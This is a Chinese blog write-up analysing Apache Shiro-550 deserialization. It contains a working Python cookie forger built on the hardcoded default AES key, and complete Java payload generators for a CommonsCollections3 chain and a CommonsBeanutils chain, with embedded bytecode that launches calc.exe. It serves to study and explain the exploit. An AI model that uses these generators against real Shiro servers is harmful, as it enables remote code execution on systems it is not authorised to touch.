shiro550利用链分析
本文最后更新于 10 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

shiro550的介绍就不多说了,就是因为AES加密密钥被硬编码(默认值为kPH+bIxk5D2deZiIxcaaaA==)。导致攻击者可以利用此密钥构造恶意的序列化数据,伪造rememberMe Cookie,从而执行任意代码。

本篇文章主要讲一下shiro的利用链,目前我所知道的有

  • cc3的改造链,需要commons-collections3的依赖
  • cb原生链,无需其他依赖

两条链都可以分析下,实战中cb链是最好的,因为你也不知道目标环境有没有commons-collections3的依赖

这里的shiro环境我用的是P神的,搭建过程略过

https://github.com/phith0n/JavaThings/tree/master/shirodemo

tomcat启动后可能会加载不出来样式,jsdelivr的缘故,影响不大,burp抓包就行。

cc3改造链

先确保pom.xml存在commons-collections3的依赖

学习这条链之前首先要明白为什么叫cc3的改造链。之前的反序列化文章提到cc6是最通用的一条链,然而在你尝试使用cc6去打时,会发现并没有弹出计算器。

给出生成shiro rememberMe字段的python代码,file_path写序列化出来的文件路径

import base64
import uuid
from Crypto.Cipher import AES


def get_file_data(filename):
   with open(filename, 'rb') as file:
       data = file.read()
   return data


def aes_encrypt_data(data, key):
   BS = AES.block_size
   pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
   mode = AES.MODE_CBC
   iv = uuid.uuid4().bytes
   cipher = AES.new(base64.b64decode(key), mode, iv)
   ciphertext = base64.b64encode(iv + cipher.encrypt(pad(data)))
   return ciphertext


if __name__ == "__main__":
   key = "kPH+bIxk5D2deZiIxcaaaA=="
   file_path = r"obj.ser"

   data = get_file_data(filename=file_path)
   payload = aes_encrypt_data(data=data, key=key)
   print(payload)

生成cookie后发送,查看tomcat运行日志,你会得到这样一个错误

这是因为tomcat的处理逻辑不一样,具体逻辑不太清楚,直接引用P神在《java安全漫谈》中说到的结论

如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

那如何构造不含数组的gadget呢?

构造不含数组的gadget

根据前面学习的内容来看,所有的链子最终要么走到transform数组,要么用TemplatesImpl加载字节码,答案很明显了,一定是使用TemplatesImpl字节码加载。

回过头来看cc3的payload,发现两条链都用到了Transformer数组,这就麻烦了。

        //使用invokeTransformer.transform()方法触发,执行TemplatesImpl的newTransformer()方法
//       Transformer[] transformers = new Transformer[]{
//               new ConstantTransformer(obj),
//               new InvokerTransformer("newTransformer", null, null)
//       };

       //使用TrAXFilter.TrAXFilter()方法触发,执行TemplatesImpl的newTransformer()方法,绕过黑名单
       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(
                       new Class[] { Templates.class },
                       new Object[] { obj })
      };

要解决这个问题我们先来回顾一下cc3和cc2(以下是cc3的demo)

    public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("xxx");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][]{code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(
                       new Class[] { Templates.class },
                       new Object[] { obj })
      };

       ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

       Map innerMap = new HashMap();
       Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

       TiedMapEntry tme = new TiedMapEntry(outerMap, null);

       Map expMap = new HashMap();
       expMap.put(tme, "valuevalue");

       outerMap.clear();
       setFieldValue(chainedTransformer, "iMethodName", "newTransformer");

这里用的是TrAXFilter和InstantiateTransformer这条链,我们使用cc2改造一下,cc2提到可以直接用InvokerTransformer.transform()来调用TemplatesImpl.newTransformer(),但是最终cc2是使用TransformingComparator.compare调用InvokerTransformer.transform()的,然而我们这里是commons-collections3的依赖,所以只能另寻出路,现在只要能找到谁能调用InvokerTransformer.transform()并且传入的值必须是TemplatesImpl对象,就可以完善gadget(这里不清楚的师傅可以再去看看cc2)。

LazyMap.get()

最终我们注意到了LazyMap.get(),他可以调用transform方法,只需将factory初始化为InvokerTransformer即可,并且key需要为TemplatesImpl对象。

    public Object get(Object key) {
       if (!super.map.containsKey(key)) {
           Object value = this.factory.transform(key);
           super.map.put(key, value);
           return value;
      } else {
           return super.map.get(key);
      }
  }

TiedMapEntry.getValue()

初始化factory很简单,LazyMap.decorate()方法可以实现。问题是现在的key怎么初始化,答案是用TiedMapEntry构造函数,在初始化map和key过后,getValue()方法调用LazyMap.get(obj),此时的obj就是TemplatesImpl对象。

TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

这样一来问题就解决了,我们不再需要transformer数组,就能够加载任意字节码。

最终payload

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollectionsShiro {
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj, value);
  }

   public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][]{code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       Transformer transformer = new InvokerTransformer("toString", null, null);

       Map innerMap = new HashMap();
       Map outerMap = LazyMap.decorate(innerMap, transformer);

       TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

       Map expMap = new HashMap();
       expMap.put(tme, "valuevalue");

       outerMap.clear();
       setFieldValue(transformer, "iMethodName", "newTransformer");

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(expMap);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

用python生成shirocookie,成功执行命令

gadget

HashMap.readObject()
   HashMap.hash()
        TiedMapEntry.hashCode()
           TiedMapEntry.getValue()
               LazyMap.get()
                   InvokerTransformer.transform()
                       TemplatesImpl.newTransformer()
                           TemplatesImpl.getTransletInstance()
                               TemplatesImpl.defineTransletClasses()
                                   TransletClassLoader.defineClass()

CB原生链

去掉commons-collections3的依赖后,发现原生库里存在Commons Beanutils库。

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

PropertyUtils.getProperty

commons-beanutils中存在一个静态方法 PropertyUtils.getProperty,可以调用任意JavaBean的getter方法,下面举一个例子

创建一个javaBean

package fastjsonGadget;

public class User {
   private String name;
   private int age;

   public User() {
  }

   @Override
   public String toString() {
       return "User{" +
               "name='" + name + '\'' +
               ", age=" + age +
               '}';
  }

   public String getName() {
       return name;
  }

   public void setName(String name) {
       this.name = name;
  }

   public int getAge() {
       return age;
  }

   public void setAge(int age) {
       this.age = age;
  }

   public User(String name, int age) {
       this.name = name;
       this.age = age;
       System.out.println("调用了User.User()构造方法");
  }
}

使用PropertyUtils.getProperty调用getName(),运行后控制台会输出Bob,说明调用了getName(),返回了name的值

package testCode;

import fastjsonGadget.User;
import org.apache.commons.beanutils.PropertyUtils;


public class Test {
   public static void main(String[] args) throws Exception{
       Object obj = PropertyUtils.getProperty(new User("Bob",12), "name");
       System.out.println(obj);
  }
}

payload

package commonsbeanutils;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.PriorityQueue;

import static commonscollections3.CC6plusCC3.setFieldValue;

public class CB1shiro {
   public static void main(String[] args) throws Exception {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
       TemplatesImpl obj = new TemplatesImpl();
       setFieldValue(obj, "_bytecodes", new byte[][]{code});
       setFieldValue(obj, "_name", "HelloTemplatesImpl");
       setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

       final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
       final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
       
       queue.add("1");
       queue.add("1");

       setFieldValue(comparator, "property", "outputProperties");
       setFieldValue(queue, "queue", new Object[]{obj, obj});

       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
       out.writeObject(queue);
       out.close();

       ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
       in.readObject();
       in.close();
  }
}

TemplatesImpl.getOutputProperties()

cb链在TemplatesImpl.newTransformer()之后和cc3是相同的利用链,都是加载字节码。之前就不同了,cc3是使用TrAXFilter的构造函数调用的TemplatesImpl.newTransformer(),而cb链使用的是TemplatesImpl.getOutputProperties()方法。

可以看到该方法也调用了newTransformer()方法

    public synchronized Properties getOutputProperties() {
       try {
           return newTransformer().getOutputProperties();
      }
       catch (TransformerConfigurationException e) {
           return null;
      }
  }

BeanComparator.compare()

那么谁能调用getOutputProperties()方法呢?看到前面的get是否很熟悉,是否可以用到我们前面提到的PropertyUtils.getProperty静态方法来调用getOutputProperties()。

BeanComparator.compare()方法刚好调用了PropertyUtils.getProperty,如果哪个方法能调用到compare方法,我们只需控制o1和this.property分别为TemplatesImpl对象和字符串OutputProperties就可以调用到TemplatesImpl.getOutputProperties()方法了。

PriorityQueue.siftDownUsingComparator()

和cc3相同,调用一个类的compare方法可以使用PriorityQueue.siftDownUsingComparator()方法,只需初始化comparator即可,需要注意的是compare的参数必须是TemplatesImpl对象。

payload中首先并没有直接传入TemplatesImpl对象,为了避免在序列化时触发命令执行,在最后使用反射将queue字段的值改为了一个由两个TemplatesImpl对象组成的数据。

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
setFieldValue(queue, "queue", new Object[]{obj, obj});

经过调试发现,Object c = queue[child]; child为1,对象c为TemplatesImpl对象,这也是为什么会使用数组的原因

之后的利用链和cc4就相同了,都是PriorityQueue类内部的调用,最终走到readObject方法。

gadget

PriorityQueue.readObject()
 PriorityQueue.heapify()
    PriorityQueue.siftDown()
       PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

用这条无依赖的gadget去打shiro

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇